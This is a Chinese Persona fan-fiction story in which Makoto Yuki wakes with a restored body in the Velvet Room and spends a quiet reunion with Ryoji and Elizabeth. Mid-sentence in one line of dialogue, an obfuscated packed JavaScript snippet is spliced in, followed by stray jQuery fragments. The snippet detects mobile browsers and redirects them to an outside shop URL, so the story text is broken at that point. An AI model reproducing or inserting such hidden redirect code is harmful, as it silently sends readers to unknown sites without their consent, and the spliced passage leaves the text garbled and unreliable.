理睁开眼睛的时候，头顶是一片蓝色的穹顶。不是天空的蓝，是更深的、更安静的蓝，像深海，像黎明前最后一刻的天幕。他躺在一张长椅上，皮革柔软，带着旧书的味道。他盯着那片蓝色看了很久。
他以为自己不会醒的。
把挂坠摘下来的时候，走进黑暗里的时候，每一步都在想：这是最后一次了。但现在他等来的不是终结，是这片蓝色的穹顶。
理慢慢坐起来，低头看自己的手。不透明了。手指是实的，掌心有纹路。他翻过来看手背，又翻回去看手心，看了很久。
伊丽莎白站在几步之外，手里拿着一本厚厚的书，穿着那身蓝色的连衣裙，和以前一模一样。嘴角有一点弧度。
“您醒了。”她说。声音很轻，像在说一件等了好久终于等到的事。
理想开口，但喉咙像被什么东西堵住了。过了好几秒才说出来，有些磕绊，好像很久没有说过话。“我以为……我会死的。”
伊丽莎白没有回答，只是看着他。
理环顾四周。蓝色的墙壁，蓝色的地板，蓝色的光。一切都和以前来过的时候一样，又不太一样。以前他是“客人”，坐在单人椅上，看着伊戈尔和伊丽莎白。现在他坐在这里，长椅是软的，空气是暖的。
“这是天鹅绒房间。”他说。
“是的。”伊丽莎白翻开手里的书，看了一眼，又合上。“您的灵魂已经完整了。从今以后，您就是天鹅绒房间的住人。”
理看着自己的手，握拳，松开，再握拳。手指听话地动着，没有那种“随时会穿过去”的虚无感。他穿着蓝色的天鹅绒制服。他把手放在膝盖上，掌心贴着裤子，能感觉到布料的纹理。
“完整了。”他重复了一遍。
伊丽莎白站在那里，安静地等着。
理抬起头。“绫时呢？”
“他和拉雯妲出去了。很快就会回来。”
理点了点头。他坐在长椅上，把手放在膝盖上，背挺得很直。和以前在严户台宿舍的房间里一样，和以前在卢布朗的吧台前一样。
他想起走进黑暗之前想的话——不管接下来是消散，是轮回，还是什么都没有，他都可以接受。他已经做好了所有的准备，和所有人告了别。但那些消散和轮回都没有来。
他还在这里。能感受手掌的温度，能看到蓝色的穹顶。
理抬起头，看着伊丽莎白。“伊丽莎白。我以为我不会醒的。”
伊丽莎白看着他。“您应该醒了。”
理点了点头，把这句话收下了。
蓝色的房门被从外拉开。绫时站在那里，身后跟着拉雯妲。她看到理，微微欠了欠身，转身走了，脚步很轻，消失在蓝色的光里。
绫时换了衣服。黑色外套，立领，和以前那件有点像，但领口没有歪，袖口扣得很整齐。太整齐了，不像他。但他又戴上了高中时那条黄色的围巾。他站在那里，看着理，那双蓝色的眼睛很亮——比在印象空间里亮，比在横滨的雪地里亮。但他没有走过来。
两个人对视了几秒。
绫时先笑了。没有勉强，也没有掩饰。嘴角弯起来，肩膀松下来，像是放下了什么很重的东西。“理。你看起来挺好的。”
理点了点头。“你也是。”
绫时走过来，在他旁边坐下。长椅够长，两个人坐着，中间隔了一拳的距离。他坐下来的动作有点急，像是怕慢了就会错过什么。
伊丽莎白退后一步，微微欠身，消失在蓝色的光里。
窗外是星空，和封印那扇门后面的星空一样，但更亮，更远。没有怪物在撞门，没有锁链在响，只有星星，一颗一颗的，很安静。
过了很久，绫时开口了。“其实吸血鬼事件爆发的时候，我就请求伊戈尔先生为你塑造了一副身躯。我没想到他真的会答应。”他说得太快，像怕停下来就说不完，“伊丽莎白来的时候我还没反应过来，她问我愿不愿意进来，我说愿意。”
“理。你以后打算做什么？”
理想了想。“不知道。也许先坐一会儿。”
绫时愣了一下，然后笑了。“也是。现在我们有的是时间。”
理点了点头。
沉默了一会儿。理看着窗外的星空，忽然开口。“绫时。我刚才做了一个梦。”他顿了顿，“梦见月光馆学园的天台。梦见真田前辈在跑步，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739281|205522||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
美鹤前辈在看文件，由加莉在练台词。顺平在打棒球，风花在调试设备。天田在写作业，虎狼丸趴在他脚边。大家笑，闹，然后散了，各走各的路。”
绫时伸出手，搭在理的手背上。他的手是温的。不是凉的，不是随时会消失的。
理低下头，看着两个人交叠的手。两双手叠在一起，像两块拼了很久终于拼上的拼图。
“不知道你发没发现，”绫时说，“你现在配色不一样了。以前比较像蓝莓吧。现在变成伊丽莎白那样子了——金色的眼睛很好看。”
理没有说话。他看着窗外的星空。星星很亮，很安静。
想起走进黑暗之前想的那几句话。如果会消散，也已经好好告别了。没有什么可以遗憾的了。“结城理”作为人的一生很圆满，他接受了由自己的选择所产生的一切结果。他以为那是一个句号。但不是，是一个逗号。小小的，弯弯的，停在这里，等着他继续往下写。
伊丽莎白端着托盘回来的时候，绫时正在抱怨咖啡太苦。“就没有糖吗伊丽莎白，你这是要谋害我。”伊丽莎白看着他，表情有点微妙——不是生气，是那种“没想到有人会在天鹅绒房间要糖”的无语。她看了绫时两秒，转身走了。绫时端着杯子，看着她的背影，小声说：“她是不是在瞪我？”
理没有回答。他端起杯子喝了一口。是卢布朗的味道。液面映出他自己的脸，浅金色的头发，金色的眼睛，没什么表情，和以前一样。
伊丽莎白回来了，把一个小碟子放在绫时面前，上面放着两颗方糖，放的时候多用了一点力。绫时把方糖丢进杯子里搅了搅，又喝了一口，点了点头。伊丽莎白退后一步，站在旁边，手里拿着那本书，安静地看着他们。
绫时端着杯子，肩膀靠着理的肩膀。理没有躲，也没有动。他只是坐在那里，喝咖啡，看星星。
窗外，星空在转，很慢。但理知道时间没有停。它只是换了一种方式往前走。不再是以日升月落的方式，不再是以四季更替的方式，而是以另一种方式——以他坐在长椅上的方式，以绫时加了两颗方糖的方式，以咖啡杯里冒着热气的方式。
以他们还在一起的方式。